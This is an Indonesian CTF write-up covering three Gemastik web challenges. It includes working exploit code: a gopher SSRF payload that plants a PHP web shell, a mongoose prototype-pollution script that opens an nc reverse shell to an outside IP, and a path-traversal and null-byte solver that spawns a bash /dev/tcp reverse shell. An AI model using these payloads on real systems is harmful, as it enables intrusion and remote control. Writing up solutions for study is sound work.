
Team:
1. Aimar Sechan Adhitya
2. Dimas Maulana
# Databreach - web
Pada challenge ini kita akan diberikan url yang menuju suatu website:

Pada website tersebut kita bisa melakukan serangan SSRF yang bisa kita gunakan untuk membaca local file.
Hal pertama yang kita perlu perhatikan adalah `secret.php` yang terdapat di *Current Working Directory (CWD)*.
Disini kita dapat menggunakan protocol `file:///` untuk membaca `secret.php`.
Ada beberapa teknik untuk kita bisa membaca file di dalam *CWD* yaitu yang pertama dengan menggunakan common path dari apachenya yaitu `/var/www/html/` dan yang kedua menggunakan `/proc/self/cwd`.
Disini saya menggunakan cara pertama dengan mengakses *URL* berikut:
http://ctf-gemastik.ub.ac.id:10022/?url=file:///var/www/html/secret.php

```php=
<?php
include 'config.php';
$res = NULL;
if ($_SERVER['REMOTE_ADDR'] === "127.0.0.1") {
if ($_SERVER['REQUEST_METHOD'] === "POST" && isset($_POST['role']) && isset($_POST['query']) && $_POST['role'] === "admin") {
try {
$query = $_POST['query'];
$stmt = $conn->query($query);
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
print_r($result);
} catch (PDOException $e) {
system($query);
die("Query failed: " . $e->getMessage());
}
}
}
```
pada source code diatas dapat terlihat bahwa terdapat kerentanan *Command Injection* yang terdapat di line ke 18 (`system($query);`). Tetapi untuk mengaksesnya kita harus membuat request dari ip `127.0.0.1` (`($_SERVER['REMOTE_ADDR'] === "127.0.0.1")`) dan juga menggunakan *POST* request dengan data yang terdapat `role` dan juga `query`.
Untuk melakukan itu kita bisa menggunakan protocol *Gopher*. Gopher dapat kita gunakan untuk membuat *raw* request, contohnya saat kita menggunakan request seperti berikut:

Maka gopher akan mengirimkannya menjadi seperti bentuk berikut:

Untuk *meng-craft* url gopher saya menggunaka script berikut:
```python=
from typing import Literal
import requests
from urllib.parse import quote, urljoin
import os
URL = "http://ctf-gemastik.ub.ac.id:10022"
class API:
def __init__(self, url=URL) -> None:
self.url = url
self.s = requests.Session()
def path(self, path):
return urljoin(self.url, path)
def make_raw_post_request(self, path, **kwargs):
"make raw post request"
req = requests.Request("POST", self.path(path), **kwargs)
prep = self.s.prepare_request(req)
res = '{}\r\n{}\r\n{}\r\n\r\n{}'.format(
prep.method + ' ' + prep.path_url + ' ' + 'HTTP/1.1',
'Host: ctf-gemastik.ub.ac.id:10022',
'\r\n'.join('{}: {}'.format(k, v)
for k, v in prep.headers.items()),
prep.body,
)
return res
if __name__ == "__main__":
api = API()
payload = api.make_raw_post_request(
"/secret.php", data={"role": "admin", "query": "echo \"<?php system(\\$_GET['cmd']);?>\" > dimasmaulana.shell.php"})
payload = quote(quote(payload))
print("gopher://localhost:80/_"+payload)
```
Saat dijalankan maka akan membuat payload gopher seperti berikut:
```!
gopher://localhost:80/_POST%2520/secret.php%2520HTTP/1.1%250D%250AHost%253A%2520ctf-gemastik.ub.ac.id%253A10022%250D%250AUser-Agent%253A%2520python-requests/2.31.0%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept%253A%2520%252A/%252A%250D%250AConnection%253A%2520keep-alive%250D%250AContent-Length%253A%2520111%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Arole%253Dadmin%2526query%253Decho%252B%252522%25253C%25253Fphp%252Bsystem%252528%25255C%252524_GET%25255B%252527cmd%252527%25255D%252529%25253B%25253F%25253E%252522%252B%25253E%252Bdimasmaulana.shell.php
```
Payload tersebut kita copy paste dan kita letakkan di parameter *url* seperti berikut:

Setelah itu kita bisa cek file `dimasmaulana.shell.php` untuk mengakses backdoor yang telah kita buat:

# Gemashnotes - Web
Pada challenge ini kita akan diberikan sebuah source code js tanpa adanya `package.json` atau `package-lock.json`.
Rupa-rupanya pada server menggunakan mongoose lawas yang memiliki [CVE-2023-3696](https://security.snyk.io/vuln/SNYK-JS-MONGOOSE-5777721), ini saya sadari setelah menerima masukan dari tim saya dan mencobanya di local dengan environtment mongoose yang memiliki CVE tersebut:

Karna challenge menggunakan EJS, kita bisa memanfaatkan kerentanan *Prototype Pollution* ini untuk mendapatkan RCE. Untuk lebih jelasnya mengenai vulnerability ini kalian bisa melihat writeup saya di SEETF 2023 https://hackmd.io/@Solderet/HyEIUaXvn
Saya menggunakan script ini untuk mendapatkan *Reverse shell* ke mesin challenge:
```python=
import requests
# URL = "http://localhost:3000/"
URL = "http://ctf-gemastik.ub.ac.id:10023/"
res = requests.post(URL+"notes", json={
"title": "1",
"content": "console.log;return global.process.mainModule.constructor._load('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 108.137.37.157 4444 >/tmp/f');",
})
print(res.text)
note_id = res.json()['_id']
note_url = URL+"notes/"+note_id
res = requests.put(note_url, json={
"$rename": {
"title": '__proto__.settings.view options.client',
"content": "__proto__.settings.view options.escapeFunction"
}
},)
print(res.text)
res = requests.get(note_url)
print(res.text)
res = requests.get(URL+"/notes/a")
```
> Note: Untuk menjalankan script ini jangan lupa untuk mengganti IP-nya dengan IP public atau ngrok url kalian.
Setelah kita jalankan maka kita akan mendapatkan shell dan bisa membaca flag di root directory:



# Web Tool - Web (Solve After CTF)
Pada challenge ini kita akan diberikan web seperti berikut:

Challenge ini menggunakan java sebagai servernya, kita akan melihat webtool.jar pada attachment yang diberikan:

`webtool.jar` ini bisa kita decompile menggunakan tools online seperti http://www.javadecompilers.com/ .
Saat kita berhasil mendecompilenya, kita akan mendapatkan hasil decompile seperti berikut:

Yang menarik dari hasil decompilation tersebut adalah di bagian `ToolingController.java` pada bagian berikut ini:
```java=41
...snip...
@PostMapping({ "/execute" })
public String executePage(@RequestParam("program") final String programName, @RequestParam("file") final MultipartFile file, final HttpSession session, final RedirectAttributes redirectAttributes) throws Exception {
if (session.getAttribute("isLogin") == null) {
return "redirect:/auth/login";
}
if (!programName.equals("md5sum") && !programName.equals("base64")) {
redirectAttributes.addFlashAttribute("error_msg", (Object)"Invalid program name.");
return "redirect:/tools";
}
if (file.isEmpty()) {
redirectAttributes.addFlashAttribute("error_msg", (Object)"Failed to store empty file.");
return "redirect:/tools";
}
final Path destPath = Path.of("/tmp", UUID.randomUUID().toString());
final InputStream inputStream = file.getInputStream();
Files.copy(inputStream, destPath, StandardCopyOption.REPLACE_EXISTING);
String userFolder = (String)session.getAttribute("username");
if (this.accountRepository.findByUsername(userFolder) != null) {
userFolder = this.accountRepository.findByUsername(userFolder).getFolder();
}
final String programPath = invokedynamic(makeConcatWithConstants:(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;, this.userDataPath, userFolder, programName);
final ProcessBuilder processBuilder = new ProcessBuilder(new String[] { programPath, destPath.toString() });
final Process process = processBuilder.start();
process.waitFor(10L, TimeUnit.SECONDS);
process.destroy();
redirectAttributes.addFlashAttribute("success_msg", (Object)"Finish executing.");
return "redirect:/tools";
}
...snip...
```
Jika dilihat sekilas, kode ini terlihat secure, tetapi jika kita melihat di implementasi "Delete User" dan implementasi "User Folder" sebagai berikut:
> /id/co/gemastik/web/webtool/controller/AccountController.java
```java=21
...snip...
@GetMapping({ "/delete" })
public String deleteAccount(final HttpSession session, final Model model) {
if (session.getAttribute("isLogin") == null) {
return "redirect:/auth/login";
}
final AccountModel acc = this.accountRepo.findByUsername((String)session.getAttribute("username"));
this.accountRepo.delete((Object)acc);
session.invalidate();
return "redirect:/";
}
...snip...
```
> /id/co/gemastik/web/webtool/controller/ToolingController.java
```java=57
...snip...
String userFolder = (String)session.getAttribute("username");
if (this.accountRepository.findByUsername(userFolder) != null) {
userFolder = this.accountRepository.findByUsername(userFolder).getFolder();
}
...snip...
```
Jadi jika kita membuat 2 session dan menghapus salah satu session, server akan menggunakan username kalian sebagai `userFolder` pada session yang masih aktif. Kurang lebih seperti ini sequence diagram dari attack yang akan kita lakukan:
> Note: disini saya menggunakan server local dari attachment yang diberikan agar bisa melihat log server
```plantuml
@startuml
participant Attacker
participant Server
participant Database
group #lightyellow Session 1
Attacker --> Server: register
Server --> Database: simpan
Attacker --> Server: login
end
note right: Anggap saja kita menggunakan username ../../etc/passwd
group #lightblue Session 2
Attacker-->Server: login
Attacker-->Server: register
Attacker-->Server: delete user
note right: Saat kalian men-delete user, session 1 akan tetap aktif
end
group #lightyellow Session 1
Attacker-->Server: execute
note right: Disini kita mengirimkan file asal ke endpoint /execute
Server --> Database: Apakah ada username "../../etc/passwd"?
Database --> Server: nil
note right: username "../../etc/passwd" sudah tidak ada di\nserver karena kita sudah mendeletenya\ndi session 2
Server --> Server: Ok, kita akan menggunakan username\nsebagai path.\npath ../../etc/passwd/base64 tidak ditemukan
Server --> Attacker: 500
end
```
Setelah mengirimkan file asal, kita akan melihat error seperti ini di bagian server yang menandakan kita berhasil mendapat LFI:

Nah sekarang bagaimana kita membypass *addition* "base64" string kedalam path kita?

Pada hint soal kita diberikan hint "*Debian is using C for their OS implementation*", setelah membaca hint ini saya mengingat salah satu trick yang biasanya digunakan di *binary exploitation* yaitu menggunakan null byte ("\0", "\x00"), yang dimana C pada dasarnya akan berhenti membaca string setelah null byte.
Jadi tanpa basa basi lagi, berikut adalah solver saya untuk mendapatkan revershell pada challenge ini:
```python=
import requests
from urllib.parse import urljoin
URL = "http://localhost:10020"
# URL = "http://ctf-gemastik.ub.ac.id:10020/"
class API:
def __init__(self, url=URL) -> None:
self.url = url
self.s = requests.Session()
def join(s, path):
return urljoin(s.url, path)
def register(s, username, password):
return s.s.post(s.join("/auth/register"), data={
"username": username,
"password": password
})
def login(s, username, password):
return s.s.post(s.join("/auth/login"), data={
"username": username,
"password": password
})
def delete(s):
return s.s.get(s.join("/account/delete"))
def execute(s, program, file):
return s.s.post(s.join("/execute"), files={
"program": (None, program),
"file": (file)
})
if __name__ == "__main__":
username = "../../bin/bash\0"
password = "dimas"
session1 = API()
session1.register(username, password)
session1.login(username, password)
session2 = API()
session2.login(username, password)
session2.delete()
session1.execute("base64", "sh -i >& /dev/tcp/108.137.37.157/4444 0>&1")
```

